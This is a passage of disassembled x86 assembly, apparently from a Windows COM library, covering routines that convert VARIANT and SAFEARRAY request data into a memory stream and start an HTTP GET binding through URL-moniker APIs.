arg_1		= byte ptr  9
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		call	dword_69B92948
		xor	esi, esi
		cmp	eax, esi
		mov	[ebp+var_24], eax
		jnz	short loc_69B7D8E9
		mov	eax, 80004005h
		jmp	loc_69B7DBBC
; ---------------------------------------------------------------------------


loc_69B7D8E9:				; CODE XREF: sub_69B7D8C5+18j
		push	esi
		push	eax
		lea	ecx, [ebp+var_30]
		call	sub_69B1A8C7
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		mov	[ebp+var_4], esi
		mov	[ebp+var_14], esi
		mov	[ebp+psa], esi
		mov	[ebp+var_20], esi
		call	VariantInit
		cmp	dword ptr [ebx+3Ch], 1
		jnz	loc_69B7D9B1
		mov	eax, [ebx+98h]
		cmp	eax, esi
		jz	short loc_69B7D94F
		push	eax
		call	sub_69B1B2B7
		lea	edi, [ebx+0A0h]
		mov	eax, [edi]
		cmp	eax, esi
		mov	[ebx+98h], esi
		mov	[ebx+9Ch], esi
		jz	short loc_69B7D94F
		push	eax
		call	sub_69B1B2B7
		mov	[edi], esi
		mov	[ebx+0A4h], esi
		mov	[ebx+0A8h], esi


loc_69B7D94F:				; CODE XREF: sub_69B7D8C5+56j
					; sub_69B7D8C5+74j
		test	[ebp+arg_1], 40h
		jz	short loc_69B7D95D
		mov	eax, [ebp+arg_8]
		mov	[ebp+pvarSrc], eax
		jmp	short loc_69B7D963
; ---------------------------------------------------------------------------


loc_69B7D95D:				; CODE XREF: sub_69B7D8C5+8Ej
		lea	eax, [ebp+arg_0]
		mov	[ebp+pvarSrc], eax


loc_69B7D963:				; CODE XREF: sub_69B7D8C5+96j
		mov	cx, [eax]
		cmp	cx, si
		jz	loc_69B7DB82
		xor	edi, edi
		inc	edi
		cmp	cx, di
		jz	loc_69B7DB82
		cmp	cx, 0Ah
		jz	loc_69B7DB82
		test	ch, 20h
		jz	loc_69B7DA66
		test	cl, 11h
		jz	loc_69B7DA66
		mov	eax, [eax+8]
		push	eax		; psa
		mov	[ebp+ppvData], esi
		mov	[ebp+pvarSrc], esi
		mov	[ebp+plLbound],	esi
		mov	[ebp+psa], eax
		call	SafeArrayGetDim
		cmp	eax, edi
		jz	short loc_69B7D9BD


loc_69B7D9B1:				; CODE XREF: sub_69B7D8C5+48j
		mov	[ebp+var_4], 80004005h
		jmp	loc_69B7DB82
; ---------------------------------------------------------------------------


loc_69B7D9BD:				; CODE XREF: sub_69B7D8C5+EAj
		lea	eax, [ebp+ppvData]
		push	eax		; ppvData
		push	[ebp+psa]	; psa
		call	SafeArrayAccessData
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jl	loc_69B7DB82
		lea	eax, [ebp+plLbound]
		push	eax		; plLbound
		push	edi		; nDim
		push	[ebp+psa]	; psa
		call	SafeArrayGetLBound
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jl	loc_69B7DB82
		lea	eax, [ebp+pvarSrc]
		push	eax		; plUbound
		push	edi		; nDim
		push	[ebp+psa]	; psa
		call	SafeArrayGetUBound
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jl	loc_69B7DB82
		mov	eax, [ebp+pvarSrc]
		sub	eax, [ebp+plLbound]
		inc	eax
		cmp	eax, esi
		mov	[ebx+9Ch], eax
		jbe	short loc_69B7DA55
		push	eax
		call	sub_69B11E44
		cmp	eax, esi
		mov	[ebx+98h], eax
		jnz	short loc_69B7DA3A
		mov	[ebx+9Ch], esi
		mov	[ebp+var_4], 8007000Eh
		jmp	loc_69B7DB82
; ---------------------------------------------------------------------------


loc_69B7DA3A:				; CODE XREF: sub_69B7D8C5+161j
		mov	ecx, [ebx+9Ch]
		mov	esi, [ebp+ppvData]
		mov	edi, eax
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	esi, esi


loc_69B7DA55:				; CODE XREF: sub_69B7D8C5+151j
		push	[ebp+psa]	; psa
		call	SafeArrayUnaccessData
		mov	[ebp+psa], esi
		jmp	loc_69B7DB0F
; ---------------------------------------------------------------------------


loc_69B7DA66:				; CODE XREF: sub_69B7D8C5+C3j
					; sub_69B7D8C5+CCj
		sub	esp, 10h
		mov	esi, eax
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		call	sub_69B7A8F5
		test	eax, eax
		mov	[ebp+var_14], eax
		jz	short loc_69B7DA93
		push	eax
		lea	eax, [ebx+9Ch]
		push	eax
		lea	eax, [ebx+98h]
		push	eax
		call	sub_69B7A98A
		jmp	short loc_69B7DB06
; ---------------------------------------------------------------------------


loc_69B7DA93:				; CODE XREF: sub_69B7D8C5+1B6j
		mov	esi, VariantChangeType
		push	9		; vt
		push	1		; wFlags
		push	[ebp+pvarSrc]	; pvarSrc
		lea	eax, [ebp+pvarg]
		push	eax		; pvargDest
		call	esi ; VariantChangeType
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	short loc_69B7DABF
		cmp	dword ptr [ebp+pvarg.anonymous_0+8], 0
		jz	short loc_69B7DB0D
		push	dword ptr [ebp+pvarg.anonymous_0+8]
		mov	ecx, ebx
		call	sub_69B7D890
		jmp	short loc_69B7DB06
; ---------------------------------------------------------------------------


loc_69B7DABF:				; CODE XREF: sub_69B7D8C5+1E6j
		push	0Dh		; vt
		push	1		; wFlags
		push	[ebp+pvarSrc]	; pvarSrc
		lea	eax, [ebp+pvarg]
		push	eax		; pvargDest
		call	esi ; VariantChangeType
		test	eax, eax
		jl	loc_69B7DB79
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_20]
		push	edx
		push	offset dword_69B2AFF0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	loc_69B7DB80
		push	[ebp+var_20]
		lea	eax, [ebx+9Ch]
		push	eax
		lea	eax, [ebx+98h]
		push	eax
		call	sub_69B7AE8C


loc_69B7DB06:				; CODE XREF: sub_69B7D8C5+1CCj
					; sub_69B7D8C5+1F8j
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	short loc_69B7DB80


loc_69B7DB0D:				; CODE XREF: sub_69B7D8C5+1ECj
		xor	esi, esi


loc_69B7DB0F:				; CODE XREF: sub_69B7D8C5+19Cj
		lea	eax, [ebx+98h]
		cmp	[eax], esi
		mov	[ebp+plLbound],	eax
		jz	short loc_69B7DB82
		cmp	[ebx+9Ch], esi
		jz	short loc_69B7DB82
		xor	eax, eax
		lea	edi, [ebp+pvarSrc]
		mov	[ebp+var_10], esi
		stosd
		lea	edi, [ebx+4Ch]
		push	edi		; ppstm
		push	1		; fDeleteOnRelease
		push	esi		; hGlobal
		mov	[ebp+ppvData], esi
		call	ds:CreateStreamOnHGlobal
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jl	short loc_69B7DB82
		push	[ebp+pvarSrc]
		mov	ecx, [ebx+9Ch]
		mov	eax, [edi]
		mov	edx, [eax]
		push	ecx
		push	eax
		call	dword ptr [edx+18h]
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jl	short loc_69B7DB82
		mov	edi, [edi]
		mov	eax, [edi]
		lea	ecx, [ebp+ppvData]
		push	ecx
		push	dword ptr [ebx+9Ch]
		mov	ecx, [ebp+plLbound]
		push	dword ptr [ecx]
		push	edi
		call	dword ptr [eax+10h]
		mov	[ebp+var_4], eax
		jmp	short loc_69B7DB82
; ---------------------------------------------------------------------------


loc_69B7DB79:				; CODE XREF: sub_69B7D8C5+209j
		mov	[ebp+var_4], 80070057h


loc_69B7DB80:				; CODE XREF: sub_69B7D8C5+225j
					; sub_69B7D8C5+246j
		xor	esi, esi


loc_69B7DB82:				; CODE XREF: sub_69B7D8C5+A4j
					; sub_69B7D8C5+B0j ...
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		cmp	[ebp+var_14], esi
		jz	short loc_69B7DB9A
		push	[ebp+var_14]	; BSTR
		call	SysFreeString


loc_69B7DB9A:				; CODE XREF: sub_69B7D8C5+2CAj
		cmp	[ebp+psa], esi
		jz	short loc_69B7DBA8
		push	[ebp+psa]	; psa
		call	SafeArrayUnaccessData


loc_69B7DBA8:				; CODE XREF: sub_69B7D8C5+2D8j
		lea	ecx, [ebp+var_30]
		call	sub_69B1976C
		push	[ebp+var_24]
		call	dword_69B92944
		mov	eax, [ebp+var_4]


loc_69B7DBBC:				; CODE XREF: sub_69B7D8C5+1Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B7D8C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7DBC3	proc near		; CODE XREF: sub_69B7DF93+3p
		push	esi
		mov	esi, ecx
		push	edi
		mov	dword ptr [esi], offset	off_69B14590
		mov	dword ptr [esi+0Ch], offset off_69B279BC
		mov	dword ptr [esi+24h], offset off_69B2A624
		mov	dword ptr [esi+28h], offset off_69B2A610
		mov	dword ptr [esi+2Ch], offset off_69B2A5FC
		mov	dword ptr [esi+30h], offset off_69B2A5EC
		mov	dword ptr [esi+34h], offset off_69B2A5D8
		mov	dword ptr [esi+38h], offset off_69B2A5C8
		call	sub_69B7B4AF
		push	0
		lea	edi, [esi+0B4h]
		push	edi
		call	sub_69B17320
		call	sub_69B2C65C
		push	edi
		call	sub_69B17230
		lea	ecx, [esi+68h]
		call	sub_69B7BF80
		lea	eax, [esi+64h]
		push	eax
		call	sub_69B17230
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	loc_69B3F2EC
sub_69B7DBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7DC36	proc near		; DATA XREF: .text:69B143DCo
					; .text:69B2A628o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 24h
		jmp	sub_69B17349
sub_69B7DC36	endp

; ---------------------------------------------------------------------------


loc_69B7DC40:				; DATA XREF: .text:69B2A614o
		sub	dword ptr [esp+4], 28h
		jmp	sub_69B17349
; ---------------------------------------------------------------------------


loc_69B7DC4A:				; DATA XREF: .text:69B2A5F0o
		sub	dword ptr [esp+4], 30h
		jmp	sub_69B17349
; ---------------------------------------------------------------------------


loc_69B7DC54:				; DATA XREF: .text:69B2A5DCo
		sub	dword ptr [esp+4], 34h
		jmp	sub_69B17349
; ---------------------------------------------------------------------------


loc_69B7DC5E:				; DATA XREF: .text:69B2A5CCo
		sub	dword ptr [esp+4], 38h
		jmp	sub_69B17349

; =============== S U B	R O U T	I N E =======================================



sub_69B7DC68	proc near		; CODE XREF: sub_69B3EF5A+147j
					; sub_69B780C6+5Bj
					; DATA XREF: ...
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+0Ch]
		call	sub_69B89EA3
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B7DC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7DC7B	proc near		; DATA XREF: .text:off_69B2A624o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B7B60C SIZE 00000160 BYTES
; FUNCTION CHUNK AT 69B7B78D SIZE 0000000F BYTES

		sub	dword ptr [esp+4], 24h
		jmp	loc_69B7B60C
sub_69B7DC7B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_69B7DC85:				; DATA XREF: .text:off_69B2A610o
		sub	dword ptr [esp+4], 28h
		jmp	loc_69B7B60C
; ---------------------------------------------------------------------------


loc_69B7DC8F:				; DATA XREF: .text:off_69B2A5FCo
		sub	dword ptr [esp+4], 2Ch
		jmp	loc_69B7B60C
; ---------------------------------------------------------------------------


loc_69B7DC99:				; DATA XREF: .text:off_69B2A5ECo
		sub	dword ptr [esp+4], 30h
		jmp	loc_69B7B60C
; ---------------------------------------------------------------------------


loc_69B7DCA3:				; DATA XREF: .text:off_69B2A5D8o
		sub	dword ptr [esp+4], 34h
		jmp	loc_69B7B60C
; ---------------------------------------------------------------------------


loc_69B7DCAD:				; DATA XREF: .text:off_69B2A5C8o
		sub	dword ptr [esp+4], 38h
		jmp	loc_69B7B60C

; =============== S U B	R O U T	I N E =======================================



sub_69B7DCB7	proc near		; CODE XREF: sub_69B7DCC3+5j
					; .text:69B7DCCFj ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		call	sub_69B7C228
		retn	4
sub_69B7DCB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7DCC3	proc near		; DATA XREF: .text:69B2A62Co

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 24h
		jmp	short sub_69B7DCB7
sub_69B7DCC3	endp

; ---------------------------------------------------------------------------


loc_69B7DCCA:				; DATA XREF: .text:69B2A618o
		sub	dword ptr [esp+4], 28h
		jmp	short sub_69B7DCB7
; ---------------------------------------------------------------------------


loc_69B7DCD1:				; DATA XREF: .text:69B2A604o
		sub	dword ptr [esp+4], 2Ch
		jmp	short sub_69B7DCB7
; ---------------------------------------------------------------------------


loc_69B7DCD8:				; DATA XREF: .text:69B2A5F4o
		sub	dword ptr [esp+4], 30h
		jmp	short sub_69B7DCB7
; ---------------------------------------------------------------------------


loc_69B7DCDF:				; DATA XREF: .text:69B2A5E0o
		sub	dword ptr [esp+4], 34h
		jmp	short sub_69B7DCB7
; ---------------------------------------------------------------------------


loc_69B7DCE6:				; DATA XREF: .text:69B2A5D0o
		sub	dword ptr [esp+4], 38h
		jmp	short sub_69B7DCB7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7DCED	proc near		; DATA XREF: .text:69B145D4o

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
ppbc		= dword	ptr -8
ppIInternetSession= dword ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx]
		push	esi
		xor	esi, esi
		push	edi
		push	ebx
		mov	[ebp+var_18], esi
		mov	[ebp+ppIInternetSession], esi
		mov	[ebp+ppbc], esi
		mov	[ebp+var_14], 100h
		mov	[ebp+var_C], esi
		mov	[ebp+var_10], esi
		call	dword ptr [eax+4]
		cmp	dword ptr [ebx+3Ch], 1
		jz	short loc_69B7DD27
		mov	edi, 80004005h
		jmp	loc_69B7DE37
; ---------------------------------------------------------------------------


loc_69B7DD27:				; CODE XREF: sub_69B7DCED+2Ej
		push	offset aGet	; "GET"
		push	dword ptr [ebx+80h]
		call	sub_69B2ED17
		test	eax, eax
		jz	short loc_69B7DD5A
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [ebp+arg_4]
		movsd
		movsd
		movsd
		mov	ecx, ebx
		movsd
		call	sub_69B7D8C5
		mov	edi, eax
		xor	esi, esi
		test	edi, edi
		jl	loc_69B7DE37


loc_69B7DD5A:				; CODE XREF: sub_69B7DCED+4Cj
		mov	ecx, ebx
		call	sub_69B7D841
		mov	edi, eax
		cmp	edi, esi
		jl	loc_69B7DE37
		cmp	byte ptr [ebx+0B2h], 0
		jnz	short loc_69B7DD7B
		mov	[ebp+var_14], 180h


loc_69B7DD7B:				; CODE XREF: sub_69B7DCED+85j
		push	esi		; dwReserved
		lea	eax, [ebp+ppIInternetSession]
		push	eax		; ppIInternetSession
		push	esi		; dwSessionMode
		call	CoInternetGetSession
		mov	edi, eax
		cmp	edi, esi
		jl	loc_69B7DE3A
		lea	eax, [ebp+ppbc]
		push	eax		; ppbc
		push	esi		; reserved
		call	ds:CreateBindCtx
		mov	edi, eax
		cmp	edi, esi
		jl	loc_69B7DE3A
		mov	eax, [ebp+ppIInternetSession]
		mov	edx, [eax]
		push	100h
		lea	ecx, [ebx+44h]
		push	ecx
		push	esi
		push	esi
		push	dword ptr [ebx+94h]
		push	[ebp+ppbc]
		push	eax
		call	dword ptr [edx+1Ch]
		mov	edi, eax
		cmp	edi, esi
		jl	short loc_69B7DE3A
		mov	eax, [ebx+48h]
		cmp	eax, esi
		jz	short loc_69B7DDD7
		mov	ecx, [eax]
		push	esi
		push	esi
		push	eax
		call	dword ptr [ecx+0Ch]


loc_69B7DDD7:				; CODE XREF: sub_69B7DCED+E0j
		mov	eax, [ebx]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	offset dword_69B2AF30
		push	ebx
		call	dword ptr [eax]
		mov	edi, eax
		cmp	edi, esi
		jl	short loc_69B7DE3A
		mov	eax, [ebx]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	offset dword_69B2AF20
		push	ebx
		call	dword ptr [eax]
		mov	edi, eax
		cmp	edi, esi
		jl	short loc_69B7DE3A
		push	2
		mov	ecx, ebx
		mov	[ebx+58h], esi
		call	sub_69B7AA25
		mov	eax, [ebx+44h]
		cmp	eax, esi
		jz	short loc_69B7DE2A
		mov	ecx, [eax]
		push	esi
		push	[ebp+var_14]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	dword ptr [ebx+94h]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	edi, eax


loc_69B7DE2A:				; CODE XREF: sub_69B7DCED+123j
		mov	eax, [ebx+58h]
		cmp	eax, esi
		jge	short loc_69B7DE33
		mov	edi, eax


loc_69B7DE33:				; CODE XREF: sub_69B7DCED+142j
		cmp	edi, esi
		jge	short loc_69B7DE3A


loc_69B7DE37:				; CODE XREF: sub_69B7DCED+35j
					; sub_69B7DCED+67j ...
		mov	[ebp+var_18], edi


loc_69B7DE3A:				; CODE XREF: sub_69B7DCED+9Dj
					; sub_69B7DCED+B2j ...
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+8]
		mov	eax, [ebp+ppIInternetSession]
		cmp	eax, esi
		jz	short loc_69B7DE4D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7DE4D:				; CODE XREF: sub_69B7DCED+158j
		mov	eax, [ebp+ppbc]
		cmp	eax, esi
		mov	[ebp+ppIInternetSession], esi
		jz	short loc_69B7DE5D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7DE5D:				; CODE XREF: sub_69B7DCED+168j
		mov	eax, [ebp+var_C]
		cmp	eax, esi
		mov	[ebp+ppbc], esi
		jz	short loc_69B7DE6D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7DE6D:				; CODE XREF: sub_69B7DCED+178j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		mov	[ebp+var_C], esi
		jz	short loc_69B7DE7D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7DE7D:				; CODE XREF: sub_69B7DCED+188j
		push	[ebp+var_18]
		mov	ecx, ebx
		push	edi
		mov	[ebp+var_10], esi
		call	sub_69B7B3C8
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B7DCED	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7DE94	proc near		; CODE XREF: sub_69B7DFAE+45p
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B1D6B9
		mov	dword ptr [esi], offset	off_69B14590
		mov	dword ptr [esi+0Ch], offset off_69B279BC
		mov	dword ptr [esi+24h], offset off_69B2A624
		mov	dword ptr [esi+28h], offset off_69B2A610
		mov	dword ptr [esi+2Ch], offset off_69B2A5FC
		mov	dword ptr [esi+30h], offset off_69B2A5EC
		mov	dword ptr [esi+34h], offset off_69B2A5D8
		mov	dword ptr [esi+38h], offset off_69B2A5C8
		xor	ebx, ebx
		push	1
		lea	ecx, [esi+68h]
		mov	[esi+64h], ebx
		call	sub_69B7BF52
		lea	edi, [esi+0B4h]
		mov	[edi], ebx
		call	sub_69B1E031
		mov	[esi+3Ch], ebx
		mov	[esi+50h], ebx
		mov	[esi+40h], bl
		mov	byte ptr [esi+0B2h], 1
		mov	[esi+60h], bl
		mov	[esi+80h], ebx
		mov	[esi+84h], ebx
		mov	[esi+88h], ebx
		mov	[esi+8Ch], ebx
		mov	[esi+90h], ebx
		mov	[esi+94h], ebx
		mov	[esi+0ACh], ebx
		mov	[esi+98h], ebx
		mov	[esi+9Ch], ebx
		mov	[esi+0A0h], ebx
		mov	[esi+0A4h], ebx
		mov	[esi+0A8h], ebx
		mov	[esi+0B0h], bl
		mov	[esi+0B1h], bl
		mov	[esi+48h], ebx
		mov	[esi+44h], ebx
		mov	[esi+54h], ebx
		mov	[esi+58h], ebx
		mov	[esi+5Ch], ebx
		mov	[esi+0B8h], ebx
		mov	[esi+0BCh], ebx
		mov	[esi+0C0h], ebx
		call	sub_69B1B352
		push	eax
		push	edi
		call	sub_69B17320
		mov	edi, [edi]
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_69B7DE94	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7DF93	proc near		; DATA XREF: .text:69B1459Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B7DBC3
		test	[esp+4+arg_0], 1
		jz	short loc_69B7DFA8
		push	esi
		call	sub_69B1829F


loc_69B7DFA8:				; CODE XREF: sub_69B7DF93+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B7DF93	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7DFAE	proc near		; DATA XREF: .text:69B1C798o
					; .text:69B1C7A8o ...
		push	2Ch
		push	offset dword_69B7E078
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7DFD1
		mov	eax, 80004005h
		jmp	loc_69B7E06F
; ---------------------------------------------------------------------------


loc_69B7DFD1:				; CODE XREF: sub_69B7DFAE+17j
		push	0
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		and	dword ptr [ebp-4], 0
		push	0C4h
		call	sub_69B17EF3
		mov	ecx, eax
		mov	[ebp-2Ch], ecx
		test	ecx, ecx
		jz	short loc_69B7DFFA
		call	sub_69B7DE94
		jmp	short loc_69B7DFFC
; ---------------------------------------------------------------------------


loc_69B7DFFA:				; CODE XREF: sub_69B7DFAE+43j
		xor	eax, eax


loc_69B7DFFC:				; CODE XREF: sub_69B7DFAE+4Aj
		mov	[ebp-30h], eax
		push	1Ch
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-34h], ecx
		test	ecx, ecx
		jz	short loc_69B7E019
		push	dword ptr [ebp-30h]
		call	sub_69B7D5F6
		jmp	short loc_69B7E01B
; ---------------------------------------------------------------------------


loc_69B7E019:				; CODE XREF: sub_69B7DFAE+5Fj
		xor	eax, eax


loc_69B7E01B:				; CODE XREF: sub_69B7DFAE+69j
		mov	esi, eax
		mov	[ebp-38h], esi
		mov	eax, [esi]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	esi
		call	dword ptr [eax]
		mov	[ebp-3Ch], eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		jmp	short loc_69B7E057
; ---------------------------------------------------------------------------


loc_69B7E036:				; DATA XREF: .text:69B7E07Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7E03F:				; DATA XREF: .text:69B7E080o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-3Ch], eax


loc_69B7E057:				; CODE XREF: sub_69B7DFAE+86j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-3Ch]


loc_69B7E06F:				; CODE XREF: sub_69B7DFAE+1Ej
		call	sub_69B1853C
		retn	8
sub_69B7DFAE	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B7E078	dd 0FFFFFFFFh			dd offset loc_69B7E036
		dd offset loc_69B7E03F

; =============== S U B	R O U T	I N E =======================================



sub_69B7E084	proc near		; CODE XREF: sub_69B7FB0F+126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, ecx
		mov	[edi+24h], esi
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [esp+8+arg_4]
		mov	[edi+28h], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		push	dword ptr [edi+28h]
		mov	eax, [esi]
		push	0
		push	esi
		call	dword ptr [eax+0Ch]
		pop	edi
		pop	esi
		retn	8
sub_69B7E084	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7E0B2	proc near		; CODE XREF: sub_69B7E2EC+81p
					; sub_69B7FB0F+1B7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	[ebp+var_4], 0
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B0C0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short locret_69B7E0E8
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short locret_69B7E0E8
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_69B7E0E8:			; CODE XREF: sub_69B7E0B2+1Bj
					; sub_69B7E0B2+2Ej
		leave
		retn	8
sub_69B7E0B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7E0EC	proc near		; CODE XREF: sub_69B7FB0F+1ECp
					; sub_69B8251E+34p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	[ebp+var_4], 0
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B110
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short locret_69B7E128
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	2
		push	2
		push	offset stru_69B1CA6C
		push	eax
		call	dword ptr [ecx+10h]
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short locret_69B7E128
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_69B7E128:			; CODE XREF: sub_69B7E0EC+1Bj
					; sub_69B7E0EC+34j
		leave
		retn	4
sub_69B7E0EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7E12C	proc near		; CODE XREF: sub_69B800FB+98p
					; sub_69B800FB+AEp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	[ebp+var_4], 0
		push	esi
		lea	edx, [ebp+var_4]
		push	edx
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+28h]
		test	eax, eax
		mov	ecx, [ebp+var_4]
		jnz	short loc_69B7E164
		test	ecx, ecx
		jz	short loc_69B7E164
		mov	eax, [ebp+arg_8]
		mov	edx, [eax]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [edx+24h]
		mov	ecx, [ebp+var_4]
		mov	esi, eax
		jmp	short loc_69B7E166
; ---------------------------------------------------------------------------


loc_69B7E164:				; CODE XREF: sub_69B7E12C+1Ej
					; sub_69B7E12C+22j
		xor	esi, esi


loc_69B7E166:				; CODE XREF: sub_69B7E12C+36j
		test	ecx, ecx
		jz	short loc_69B7E170
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]


loc_69B7E170:				; CODE XREF: sub_69B7E12C+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn	0Ch
sub_69B7E12C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7E177	proc near		; CODE XREF: sub_69B7E6F9+Ap
					; sub_69B7FA54+10p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+10h]
		test	eax, eax
		jz	short loc_69B7E18B
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		and	dword ptr [esi+10h], 0


loc_69B7E18B:				; CODE XREF: sub_69B7E177+8j
		pop	esi
		retn
sub_69B7E177	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7E18D	proc near		; CODE XREF: .text:69B7F3A7j
					; .text:69B7F3C5j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	eax, [eax+38h]
		push	[esp+4+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		retn	0Ch
sub_69B7E18D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7E1A4	proc near		; CODE XREF: .text:69B7F3B1j
					; .text:69B7F3CFj ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+38h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		retn	4
sub_69B7E1A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7E1B4	proc near		; CODE XREF: .text:69B7F3BBj
					; .text:69B7F3D9j ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+38h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		retn	4
sub_69B7E1B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


